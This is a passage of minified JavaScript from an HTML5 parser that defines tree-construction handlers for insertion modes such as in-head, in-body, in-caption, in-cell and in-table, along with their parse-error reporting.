e.processGenericRawTextStartTag(t,n);e.insertElement(t,n),e.setInsertionMode(\"inHeadNoscript\")},t.inHead.startTagNoFramesStyle=function(t,n){e.processGenericRawTextStartTag(t,n)},t.inHead.startTagScript=function(t,n){e.insertElement(t,n),e.tokenizer.setState(u.SCRIPT_DATA),e.originalInsertionMode=e.insertionModeName,e.setInsertionMode(\"text\")},t.inHead.startTagBaseBasefontBgsoundLink=function(t,n){e.insertSelfClosingElement(t,n)},t.inHead.startTagMeta=function(t,n){e.insertSelfClosingElement(t,n)},t.inHead.startTagOther=function(t,n,r){this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.inHead.endTagHead=function(t){e.openElements.item(e.openElements.length-1).localName==\"head\"?e.openElements.pop():e.parseError(\"unexpected-end-tag\",{name:\"head\"}),e.setInsertionMode(\"afterHead\")},t.inHead.endTagHtmlBodyBr=function(t){this.anythingElse(),e.insertionMode.processEndTag(t)},t.inHead.endTagOther=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inHead.anythingElse=function(){this.endTagHead(\"head\")},t.afterHead=Object.create(t.base),t.afterHead.start_tag_handlers={html:\"startTagHtml\",head:\"startTagHead\",body:\"startTagBody\",frameset:\"startTagFrameset\",base:\"startTagFromHead\",link:\"startTagFromHead\",meta:\"startTagFromHead\",script:\"startTagFromHead\",style:\"startTagFromHead\",title:\"startTagFromHead\",\"-default\":\"startTagOther\"},t.afterHead.end_tag_handlers={body:\"endTagBodyHtmlBr\",html:\"endTagBodyHtmlBr\",br:\"endTagBodyHtmlBr\",\"-default\":\"endTagOther\"},t.afterHead.processEOF=function(){this.anythingElse(),e.insertionMode.processEOF()},t.afterHead.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;this.anythingElse(),e.insertionMode.processCharacters(t)},t.afterHead.startTagHtml=function(e,n){t.inBody.processStartTag(e,n)},t.afterHead.startTagBody=function(t,n){e.framesetOk=!1,e.insertBodyElement(n),e.setInsertionMode(\"inBody\")},t.afterHead.startTagFrameset=function(t,n){e.insertElement(t,n),e.setInsertionMode(\"inFrameset\")},t.afterHead.startTagFromHead=function(n,r,i){e.parseError(\"unexpected-start-tag-out-of-my-head\",{name:n}),e.openElements.push(e.head),t.inHead.processStartTag(n,r,i),e.openElements.remove(e.head)},t.afterHead.startTagHead=function(t,n,r){e.parseError(\"unexpected-start-tag\",{name:t})},t.afterHead.startTagOther=function(t,n,r){this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.afterHead.endTagBodyHtmlBr=function(t){this.anythingElse(),e.insertionMode.processEndTag(t)},t.afterHead.endTagOther=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.afterHead.anythingElse=function(){e.insertBodyElement([]),e.setInsertionMode(\"inBody\"),e.framesetOk=!0},t.inBody=Object.create(t.base),t.inBody.start_tag_handlers={html:\"startTagHtml\",head:\"startTagMisplaced\",base:\"startTagProcessInHead\",basefont:\"startTagProcessInHead\",bgsound:\"startTagProcessInHead\",link:\"startTagProcessInHead\",meta:\"startTagProcessInHead\",noframes:\"startTagProcessInHead\",script:\"startTagProcessInHead\",style:\"startTagProcessInHead\",title:\"startTagProcessInHead\",body:\"startTagBody\",form:\"startTagForm\",plaintext:\"startTagPlaintext\",a:\"startTagA\",button:\"startTagButton\",xmp:\"startTagXmp\",table:\"startTagTable\",hr:\"startTagHr\",image:\"startTagImage\",input:\"startTagInput\",textarea:\"startTagTextarea\",select:\"startTagSelect\",isindex:\"startTagIsindex\",applet:\"startTagAppletMarqueeObject\",marquee:\"startTagAppletMarqueeObject\",object:\"startTagAppletMarqueeObject\",li:\"startTagListItem\",dd:\"startTagListItem\",dt:\"startTagListItem\",address:\"startTagCloseP\",article:\"startTagCloseP\",aside:\"startTagCloseP\",blockquote:\"startTagCloseP\",center:\"startTagCloseP\",details:\"startTagCloseP\",dir:\"startTagCloseP\",div:\"startTagCloseP\",dl:\"startTagCloseP\",fieldset:\"startTagCloseP\",figcaption:\"startTagCloseP\",figure:\"startTagCloseP\",footer:\"startTagCloseP\",header:\"startTagCloseP\",hgroup:\"startTagCloseP\",main:\"startTagCloseP\",menu:\"startTagCloseP\",nav:\"startTagCloseP\",ol:\"startTagCloseP\",p:\"startTagCloseP\",section:\"startTagCloseP\",summary:\"startTagCloseP\",ul:\"startTagCloseP\",listing:\"startTagPreListing\",pre:\"startTagPreListing\",b:\"startTagFormatting\",big:\"startTagFormatting\",code:\"startTagFormatting\",em:\"startTagFormatting\",font:\"startTagFormatting\",i:\"startTagFormatting\",s:\"startTagFormatting\",small:\"startTagFormatting\",strike:\"startTagFormatting\",strong:\"startTagFormatting\",tt:\"startTagFormatting\",u:\"startTagFormatting\",nobr:\"startTagNobr\",area:\"startTagVoidFormatting\",br:\"startTagVoidFormatting\",embed:\"startTagVoidFormatting\",img:\"startTagVoidFormatting\",keygen:\"startTagVoidFormatting\",wbr:\"startTagVoidFormatting\",param:\"startTagParamSourceTrack\",source:\"startTagParamSourceTrack\",track:\"startTagParamSourceTrack\",iframe:\"startTagIFrame\",noembed:\"startTagRawText\",noscript:\"startTagRawText\",h1:\"startTagHeading\",h2:\"startTagHeading\",h3:\"startTagHeading\",h4:\"startTagHeading\",h5:\"startTagHeading\",h6:\"startTagHeading\",caption:\"startTagMisplaced\",col:\"startTagMisplaced\",colgroup:\"startTagMisplaced\",frame:\"startTagMisplaced\",frameset:\"startTagFrameset\",tbody:\"startTagMisplaced\",td:\"startTagMisplaced\",tfoot:\"startTagMisplaced\",th:\"startTagMisplaced\",thead:\"startTagMisplaced\",tr:\"startTagMisplaced\",option:\"startTagOptionOptgroup\",optgroup:\"startTagOptionOptgroup\",math:\"startTagMath\",svg:\"startTagSVG\",rt:\"startTagRpRt\",rp:\"startTagRpRt\",\"-default\":\"startTagOther\"},t.inBody.end_tag_handlers={p:\"endTagP\",body:\"endTagBody\",html:\"endTagHtml\",address:\"endTagBlock\",article:\"endTagBlock\",aside:\"endTagBlock\",blockquote:\"endTagBlock\",button:\"endTagBlock\",center:\"endTagBlock\",details:\"endTagBlock\",dir:\"endTagBlock\",div:\"endTagBlock\",dl:\"endTagBlock\",fieldset:\"endTagBlock\",figcaption:\"endTagBlock\",figure:\"endTagBlock\",footer:\"endTagBlock\",header:\"endTagBlock\",hgroup:\"endTagBlock\",listing:\"endTagBlock\",main:\"endTagBlock\",menu:\"endTagBlock\",nav:\"endTagBlock\",ol:\"endTagBlock\",pre:\"endTagBlock\",section:\"endTagBlock\",summary:\"endTagBlock\",ul:\"endTagBlock\",form:\"endTagForm\",applet:\"endTagAppletMarqueeObject\",marquee:\"endTagAppletMarqueeObject\",object:\"endTagAppletMarqueeObject\",dd:\"endTagListItem\",dt:\"endTagListItem\",li:\"endTagListItem\",h1:\"endTagHeading\",h2:\"endTagHeading\",h3:\"endTagHeading\",h4:\"endTagHeading\",h5:\"endTagHeading\",h6:\"endTagHeading\",a:\"endTagFormatting\",b:\"endTagFormatting\",big:\"endTagFormatting\",code:\"endTagFormatting\",em:\"endTagFormatting\",font:\"endTagFormatting\",i:\"endTagFormatting\",nobr:\"endTagFormatting\",s:\"endTagFormatting\",small:\"endTagFormatting\",strike:\"endTagFormatting\",strong:\"endTagFormatting\",tt:\"endTagFormatting\",u:\"endTagFormatting\",br:\"endTagBr\",\"-default\":\"endTagOther\"},t.inBody.processCharacters=function(t){e.shouldSkipLeadingNewline&&(e.shouldSkipLeadingNewline=!1,t.skipAtMostOneLeadingNewline()),e.reconstructActiveFormattingElements();var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\"});if(!n)return;e.insertText(n),e.framesetOk&&!d(n)&&(e.framesetOk=!1)},t.inBody.startTagHtml=function(t,n){e.parseError(\"non-html-root\"),e.addAttributesToElement(e.openElements.rootNode,n)},t.inBody.startTagProcessInHead=function(e,n){t.inHead.processStartTag(e,n)},t.inBody.startTagBody=function(t,n){e.parseError(\"unexpected-start-tag\",{name:\"body\"}),e.openElements.length==1||e.openElements.item(1).localName!=\"body\"?r.ok(e.context):(e.framesetOk=!1,e.addAttributesToElement(e.openElements.bodyElement,n))},t.inBody.startTagFrameset=function(t,n){e.parseError(\"unexpected-start-tag\",{name:\"frameset\"});if(e.openElements.length==1||e.openElements.item(1).localName!=\"body\")r.ok(e.context);else if(e.framesetOk){e.detachFromParent(e.openElements.bodyElement);while(e.openElements.length>1)e.openElements.pop();e.insertElement(t,n),e.setInsertionMode(\"inFrameset\")}},t.inBody.startTagCloseP=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n)},t.inBody.startTagPreListing=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.framesetOk=!1,e.shouldSkipLeadingNewline=!0},t.inBody.startTagForm=function(t,n){e.form?e.parseError(\"unexpected-start-tag\",{name:t}):(e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.form=e.currentStackItem())},t.inBody.startTagRpRt=function(t,n){e.openElements.inScope(\"ruby\")&&(e.generateImpliedEndTags(),e.currentStackItem().localName!=\"ruby\"&&e.parseError(\"unexpected-start-tag\",{name:t})),e.insertElement(t,n)},t.inBody.startTagListItem=function(t,n){var r={li:[\"li\"],dd:[\"dd\",\"dt\"],dt:[\"dd\",\"dt\"]},i=r[t],s=e.openElements;for(var o=s.length-1;o>=0;o--){var u=s.item(o);if(i.indexOf(u.localName)!=-1){e.insertionMode.processEndTag(u.localName);break}if(u.isSpecial()&&u.localName!==\"p\"&&u.localName!==\"address\"&&u.localName!==\"div\")break}e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.framesetOk=!1},t.inBody.startTagPlaintext=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertElement(t,n),e.tokenizer.setState(u.PLAINTEXT)},t.inBody.startTagHeading=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.currentStackItem().isNumberedHeader()&&(e.parseError(\"unexpected-start-tag\",{name:t}),e.popElement()),e.insertElement(t,n)},t.inBody.startTagA=function(t,n){var r=e.elementInActiveFormattingElements(\"a\");r&&(e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"a\",endName:\"a\"}),e.adoptionAgencyEndTag(\"a\"),e.openElements.contains(r)&&e.openElements.remove(r),e.removeElementFromActiveFormattingElements(r)),e.reconstructActiveFormattingElements(),e.insertFormattingElement(t,n)},t.inBody.startTagFormatting=function(t,n){e.reconstructActiveFormattingElements(),e.insertFormattingElement(t,n)},t.inBody.startTagNobr=function(t,n){e.reconstructActiveFormattingElements(),e.openElements.inScope(\"nobr\")&&(e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"nobr\",endName:\"nobr\"}),this.processEndTag(\"nobr\"),e.reconstructActiveFormattingElements()),e.insertFormattingElement(t,n)},t.inBody.startTagButton=function(t,n){e.openElements.inScope(\"button\")?(e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"button\",endName:\"button\"}),this.processEndTag(\"button\"),e.insertionMode.processStartTag(t,n)):(e.framesetOk=!1,e.reconstructActiveFormattingElements(),e.insertElement(t,n))},t.inBody.startTagAppletMarqueeObject=function(t,n){e.reconstructActiveFormattingElements(),e.insertElement(t,n),e.activeFormattingElements.push(l),e.framesetOk=!1},t.inBody.endTagAppletMarqueeObject=function(t){e.openElements.inScope(t)?(e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.popUntilPopped(t),e.clearActiveFormattingElements()):e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.startTagXmp=function(t,n){e.openElements.inButtonScope(\"p\")&&this.processEndTag(\"p\"),e.reconstructActiveFormattingElements(),e.processGenericRawTextStartTag(t,n),e.framesetOk=!1},t.inBody.startTagTable=function(t,n){e.compatMode!==\"quirks\"&&e.openElements.inButtonScope(\"p\")&&this.processEndTag(\"p\"),e.insertElement(t,n),e.setInsertionMode(\"inTable\"),e.framesetOk=!1},t.inBody.startTagVoidFormatting=function(t,n){e.reconstructActiveFormattingElements(),e.insertSelfClosingElement(t,n),e.framesetOk=!1},t.inBody.startTagParamSourceTrack=function(t,n){e.insertSelfClosingElement(t,n)},t.inBody.startTagHr=function(t,n){e.openElements.inButtonScope(\"p\")&&this.endTagP(\"p\"),e.insertSelfClosingElement(t,n),e.framesetOk=!1},t.inBody.startTagImage=function(t,n){e.parseError(\"unexpected-start-tag-treated-as\",{originalName:\"image\",newName:\"img\"}),this.processStartTag(\"img\",n)},t.inBody.startTagInput=function(t,n){var r=e.framesetOk;this.startTagVoidFormatting(t,n);for(var i in n)if(n[i].nodeName==\"type\"){n[i].nodeValue.toLowerCase()==\"hidden\"&&(e.framesetOk=r);break}},t.inBody.startTagIsindex=function(t,n){e.parseError(\"deprecated-tag\",{name:\"isindex\"}),e.selfClosingFlagAcknowledged=!0;if(e.form)return;var r=[],i=[],s=\"This is a searchable index. Enter search keywords: \";for(var o in n)switch(n[o].nodeName){case\"action\":r.push({nodeName:\"action\",nodeValue:n[o].nodeValue});break;case\"prompt\":s=n[o].nodeValue;break;case\"name\":break;default:i.push({nodeName:n[o].nodeName,nodeValue:n[o].nodeValue})}i.push({nodeName:\"name\",nodeValue:\"isindex\"}),this.processStartTag(\"form\",r),this.processStartTag(\"hr\"),this.processStartTag(\"label\"),this.processCharacters(new m(s)),this.processStartTag(\"input\",i),this.processEndTag(\"label\"),this.processStartTag(\"hr\"),this.processEndTag(\"form\")},t.inBody.startTagTextarea=function(t,n){e.insertElement(t,n),e.tokenizer.setState(u.RCDATA),e.originalInsertionMode=e.insertionModeName,e.shouldSkipLeadingNewline=!0,e.framesetOk=!1,e.setInsertionMode(\"text\")},t.inBody.startTagIFrame=function(t,n){e.framesetOk=!1,this.startTagRawText(t,n)},t.inBody.startTagRawText=function(t,n){e.processGenericRawTextStartTag(t,n)},t.inBody.startTagSelect=function(t,n){e.reconstructActiveFormattingElements(),e.insertElement(t,n),e.framesetOk=!1;var r=e.insertionModeName;r==\"inTable\"||r==\"inCaption\"||r==\"inColumnGroup\"||r==\"inTableBody\"||r==\"inRow\"||r==\"inCell\"?e.setInsertionMode(\"inSelectInTable\"):e.setInsertionMode(\"inSelect\")},t.inBody.startTagMisplaced=function(t,n){e.parseError(\"unexpected-start-tag-ignored\",{name:t})},t.inBody.endTagMisplaced=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.endTagBr=function(t){e.parseError(\"unexpected-end-tag-treated-as\",{originalName:\"br\",newName:\"br element\"}),e.reconstructActiveFormattingElements(),e.insertElement(t,[]),e.popElement()},t.inBody.startTagOptionOptgroup=function(t,n){e.currentStackItem().localName==\"option\"&&e.popElement(),e.reconstructActiveFormattingElements(),e.insertElement(t,n)},t.inBody.startTagOther=function(t,n){e.reconstructActiveFormattingElements(),e.insertElement(t,n)},t.inBody.endTagOther=function(t){var n;for(var r=e.openElements.length-1;r>0;r--){n=e.openElements.item(r);if(n.localName==t){e.generateImpliedEndTags(t),e.currentStackItem().localName!=t&&e.parseError(\"unexpected-end-tag\",{name:t}),e.openElements.remove_openElements_until(function(e){return e===n});break}if(n.isSpecial()){e.parseError(\"unexpected-end-tag\",{name:t});break}}},t.inBody.startTagMath=function(t,n,r){e.reconstructActiveFormattingElements(),n=e.adjustMathMLAttributes(n),n=e.adjustForeignAttributes(n),e.insertForeignElement(t,n,\"http://www.w3.org/1998/Math/MathML\",r)},t.inBody.startTagSVG=function(t,n,r){e.reconstructActiveFormattingElements(),n=e.adjustSVGAttributes(n),n=e.adjustForeignAttributes(n),e.insertForeignElement(t,n,\"http://www.w3.org/2000/svg\",r)},t.inBody.endTagP=function(t){e.openElements.inButtonScope(\"p\")?(e.generateImpliedEndTags(\"p\"),e.currentStackItem().localName!=\"p\"&&e.parseError(\"unexpected-implied-end-tag\",{name:\"p\"}),e.openElements.popUntilPopped(t)):(e.parseError(\"unexpected-end-tag\",{name:\"p\"}),this.startTagCloseP(\"p\",[]),this.endTagP(\"p\"))},t.inBody.endTagBody=function(t){if(!e.openElements.inScope(\"body\")){e.parseError(\"unexpected-end-tag\",{name:t});return}e.currentStackItem().localName!=\"body\"&&e.parseError(\"expected-one-end-tag-but-got-another\",{expectedName:e.currentStackItem().localName,gotName:t}),e.setInsertionMode(\"afterBody\")},t.inBody.endTagHtml=function(t){if(!e.openElements.inScope(\"body\")){e.parseError(\"unexpected-end-tag\",{name:t});return}e.currentStackItem().localName!=\"body\"&&e.parseError(\"expected-one-end-tag-but-got-another\",{expectedName:e.currentStackItem().localName,gotName:t}),e.setInsertionMode(\"afterBody\"),e.insertionMode.processEndTag(t)},t.inBody.endTagBlock=function(t){e.openElements.inScope(t)?(e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.popUntilPopped(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.endTagForm=function(t){var n=e.form;e.form=null,!n||!e.openElements.inScope(t)?e.parseError(\"unexpected-end-tag\",{name:t}):(e.generateImpliedEndTags(),e.currentStackItem()!=n&&e.parseError(\"end-tag-too-early-ignored\",{name:\"form\"}),e.openElements.remove(n))},t.inBody.endTagListItem=function(t){e.openElements.inListItemScope(t)?(e.generateImpliedEndTags(t),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.popUntilPopped(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inBody.endTagHeading=function(t){if(!e.openElements.hasNumberedHeaderElementInScope()){e.parseError(\"unexpected-end-tag\",{name:t});return}e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early\",{name:t}),e.openElements.remove_openElements_until(function(e){return e.isNumberedHeader()})},t.inBody.endTagFormatting=function(t,n){e.adoptionAgencyEndTag(t)||this.endTagOther(t,n)},t.inCaption=Object.create(t.base),t.inCaption.start_tag_handlers={html:\"startTagHtml\",caption:\"startTagTableElement\",col:\"startTagTableElement\",colgroup:\"startTagTableElement\",tbody:\"startTagTableElement\",td:\"startTagTableElement\",tfoot:\"startTagTableElement\",thead:\"startTagTableElement\",tr:\"startTagTableElement\",\"-default\":\"startTagOther\"},t.inCaption.end_tag_handlers={caption:\"endTagCaption\",table:\"endTagTable\",body:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",tbody:\"endTagIgnore\",td:\"endTagIgnore\",tfood:\"endTagIgnore\",thead:\"endTagIgnore\",tr:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inCaption.processCharacters=function(e){t.inBody.processCharacters(e)},t.inCaption.startTagTableElement=function(t,n){e.parseError(\"unexpected-end-tag\",{name:t});var r=!e.openElements.inTableScope(\"caption\");e.insertionMode.processEndTag(\"caption\"),r||e.insertionMode.processStartTag(t,n)},t.inCaption.startTagOther=function(e,n,r){t.inBody.processStartTag(e,n,r)},t.inCaption.endTagCaption=function(t){e.openElements.inTableScope(\"caption\")?(e.generateImpliedEndTags(),e.currentStackItem().localName!=\"caption\"&&e.parseError(\"expected-one-end-tag-but-got-another\",{gotName:\"caption\",expectedName:e.currentStackItem().localName}),e.openElements.popUntilPopped(\"caption\"),e.clearActiveFormattingElements(),e.setInsertionMode(\"inTable\")):(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t}))},t.inCaption.endTagTable=function(t){e.parseError(\"unexpected-end-table-in-caption\");var n=!e.openElements.inTableScope(\"caption\");e.insertionMode.processEndTag(\"caption\"),n||e.insertionMode.processEndTag(t)},t.inCaption.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inCaption.endTagOther=function(e){t.inBody.processEndTag(e)},t.inCell=Object.create(t.base),t.inCell.start_tag_handlers={html:\"startTagHtml\",caption:\"startTagTableOther\",col:\"startTagTableOther\",colgroup:\"startTagTableOther\",tbody:\"startTagTableOther\",td:\"startTagTableOther\",tfoot:\"startTagTableOther\",th:\"startTagTableOther\",thead:\"startTagTableOther\",tr:\"startTagTableOther\",\"-default\":\"startTagOther\"},t.inCell.end_tag_handlers={td:\"endTagTableCell\",th:\"endTagTableCell\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",table:\"endTagImply\",tbody:\"endTagImply\",tfoot:\"endTagImply\",thead:\"endTagImply\",tr:\"endTagImply\",\"-default\":\"endTagOther\"},t.inCell.processCharacters=function(e){t.inBody.processCharacters(e)},t.inCell.startTagTableOther=function(t,n,r){e.openElements.inTableScope(\"td\")||e.openElements.inTableScope(\"th\")?(this.closeCell(),e.insertionMode.processStartTag(t,n,r)):e.parseError(\"unexpected-start-tag\",{name:t})},t.inCell.startTagOther=function(e,n,r){t.inBody.processStartTag(e,n,r)},t.inCell.endTagTableCell=function(t){e.openElements.inTableScope(t)?(e.generateImpliedEndTags(t),e.currentStackItem().localName!=t.toLowerCase()?(e.parseError(\"unexpected-cell-end-tag\",{name:t}),e.openElements.popUntilPopped(t)):e.popElement(),e.clearActiveFormattingElements(),e.setInsertionMode(\"inRow\")):e.parseError(\"unexpected-end-tag\",{name:t})},t.inCell.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inCell.endTagImply=function(t){e.openElements.inTableScope(t)?(this.closeCell(),e.insertionMode.processEndTag(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inCell.endTagOther=function(e){t.inBody.processEndTag(e)},t.inCell.closeCell=function(){e.openElements.inTableScope(\"td\")?this.endTagTableCell(\"td\"):e.openElements.inTableScope(\"th\")&&this.endTagTableCell(\"th\")},t.inColumnGroup=Object.create(t.base),t.inColumnGroup.start_tag_handlers={html:\"startTagHtml\",col:\"startTagCol\",\"-default\":\"startTagOther\"},t.inColumnGroup.end_tag_handlers={colgroup:\"endTagColgroup\",col:\"endTagCol\",\"-default\":\"endTagOther\"},t.inColumnGroup.ignoreEndTagColgroup=function(){return e.currentStackItem().localName==\"html\"},t.inColumnGroup.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;var r=this.ignoreEndTagColgroup();this.endTagColgroup(\"colgroup\"),r||e.insertionMode.processCharacters(t)},t.inColumnGroup.startTagCol=function(t,n){e.insertSelfClosingElement(t,n)},t.inColumnGroup.startTagOther=function(t,n,r){var i=this.ignoreEndTagColgroup();this.endTagColgroup(\"colgroup\"),i||e.insertionMode.processStartTag(t,n,r)},t.inColumnGroup.endTagColgroup=function(t){this.ignoreEndTagColgroup()?(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t})):(e.popElement(),e.setInsertionMode(\"inTable\"))},t.inColumnGroup.endTagCol=function(t){e.parseError(\"no-end-tag\",{name:\"col\"})},t.inColumnGroup.endTagOther=function(t){var n=this.ignoreEndTagColgroup();this.endTagColgroup(\"colgroup\"),n||e.insertionMode.processEndTag(t)},t.inForeignContent=Object.create(t.base),t.inForeignContent.processStartTag=function(t,n,r){if([\"b\",\"big\",\"blockquote\",\"body\",\"br\",\"center\",\"code\",\"dd\",\"div\",\"dl\",\"dt\",\"em\",\"embed\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"head\",\"hr\",\"i\",\"img\",\"li\",\"listing\",\"menu\",\"meta\",\"nobr\",\"ol\",\"p\",\"pre\",\"ruby\",\"s\",\"small\",\"span\",\"strong\",\"strike\",\"sub\",\"sup\",\"table\",\"tt\",\"u\",\"ul\",\"var\"].indexOf(t)!=-1||t==\"font\"&&n.some(function(e){return[\"color\",\"face\",\"size\"].indexOf(e.nodeName)>=0})){e.parseError(\"unexpected-html-element-in-foreign-content\",{name:t});while(e.currentStackItem().isForeign()&&!e.currentStackItem().isHtmlIntegrationPoint()&&!e.currentStackItem().isMathMLTextIntegrationPoint())e.openElements.pop();e.insertionMode.processStartTag(t,n,r);return}e.currentStackItem().namespaceURI==\"http://www.w3.org/1998/Math/MathML\"&&(n=e.adjustMathMLAttributes(n)),e.currentStackItem().namespaceURI==\"http://www.w3.org/2000/svg\"&&(t=e.adjustSVGTagNameCase(t),n=e.adjustSVGAttributes(n)),n=e.adjustForeignAttributes(n),e.insertForeignElement(t,n,e.currentStackItem().namespaceURI,r)},t.inForeignContent.processEndTag=function(t){var n=e.currentStackItem(),r=e.openElements.length-1;n.localName.toLowerCase()!=t&&e.parseError(\"unexpected-end-tag\",{name:t});for(;;){if(r===0)break;if(n.localName.toLowerCase()==t){while(e.openElements.pop()!=n);break}r-=1,n=e.openElements.item(r);if(n.isForeign())continue;e.insertionMode.processEndTag(t);break}},t.inForeignContent.processCharacters=function(t){var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\\ufffd\"}),e.framesetOk&&!d(n)&&(e.framesetOk=!1),e.insertText(n)},t.inHeadNoscript=Object.create(t.base),t.inHeadNoscript.start_tag_handlers={html:\"startTagHtml\",basefont:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",bgsound:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",link:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",meta:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",noframes:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",style:\"startTagBasefontBgsoundLinkMetaNoframesStyle\",head:\"startTagHeadNoscript\",noscript:\"startTagHeadNoscript\",\"-default\":\"startTagOther\"},t.inHeadNoscript.end_tag_handlers={noscript:\"endTagNoscript\",br:\"endTagBr\",\"-default\":\"endTagOther\"},t.inHeadNoscript.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;e.parseError(\"unexpected-char-in-frameset\"),this.anythingElse(),e.insertionMode.processCharacters(t)},t.inHeadNoscript.processComment=function(e){t.inHead.processComment(e)},t.inHeadNoscript.startTagBasefontBgsoundLinkMetaNoframesStyle=function(e,n){t.inHead.processStartTag(e,n)},t.inHeadNoscript.startTagHeadNoscript=function(t,n){e.parseError(\"unexpected-start-tag-in-frameset\",{name:t})},t.inHeadNoscript.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-in-frameset\",{name:t}),this.anythingElse(),e.insertionMode.processStartTag(t,n)},t.inHeadNoscript.endTagBr=function(t,n){e.parseError(\"unexpected-end-tag-in-frameset\",{name:t}),this.anythingElse(),e.insertionMode.processEndTag(t,n)},t.inHeadNoscript.endTagNoscript=function(t,n){e.popElement(),e.setInsertionMode(\"inHead\")},t.inHeadNoscript.endTagOther=function(t,n){e.parseError(\"unexpected-end-tag-in-frameset\",{name:t})},t.inHeadNoscript.anythingElse=function(){e.popElement(),e.setInsertionMode(\"inHead\")},t.inFrameset=Object.create(t.base),t.inFrameset.start_tag_handlers={html:\"startTagHtml\",frameset:\"startTagFrameset\",frame:\"startTagFrame\",noframes:\"startTagNoframes\",\"-default\":\"startTagOther\"},t.inFrameset.end_tag_handlers={frameset:\"endTagFrameset\",noframes:\"endTagNoframes\",\"-default\":\"endTagOther\"},t.inFrameset.processCharacters=function(t){e.parseError(\"unexpected-char-in-frameset\")},t.inFrameset.startTagFrameset=function(t,n){e.insertElement(t,n)},t.inFrameset.startTagFrame=function(t,n){e.insertSelfClosingElement(t,n)},t.inFrameset.startTagNoframes=function(e,n){t.inBody.processStartTag(e,n)},t.inFrameset.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-in-frameset\",{name:t})},t.inFrameset.endTagFrameset=function(t,n){e.currentStackItem().localName==\"html\"?e.parseError(\"unexpected-frameset-in-frameset-innerhtml\"):e.popElement(),!e.context&&e.currentStackItem().localName!=\"frameset\"&&e.setInsertionMode(\"afterFrameset\")},t.inFrameset.endTagNoframes=function(e){t.inBody.processEndTag(e)},t.inFrameset.endTagOther=function(t){e.parseError(\"unexpected-end-tag-in-frameset\",{name:t})},t.inTable=Object.create(t.base),t.inTable.start_tag_handlers={html:\"startTagHtml\",caption:\"startTagCaption\",colgroup:\"startTagColgroup\",col:\"startTagCol\",table:\"startTagTable\",tbody:\"startTagRowGroup\",tfoot:\"startTagRowGroup\",thead:\"startTagRowGroup\",td:\"startTagImplyTbody\",th:\"startTagImplyTbody\",tr:\"startTagImplyTbody\",style:\"startTagStyleScript\",script:\"startTagStyleScript\",input:\"startTagInput\",form:\"startTagForm\",\"-default\":\"startTagOther\"},t.inTable.end_tag_handlers={table:\"endTagTable\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",tbody:\"endTagIgnore\",td:\"endTagIgnore\",tfoot:\"endTagIgnore\",th:\"endTagIgnore\",thead:\"endTagIgnore\",tr:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inTable.processCharacters=function(n){if(e.currentStackItem().isFosterParenting()){var r=e.insertionModeName;e.setInsertionMode(\"inTableText\"),e.originalInsertionMode=r,e.insertionMode.processCharacters(n)}else 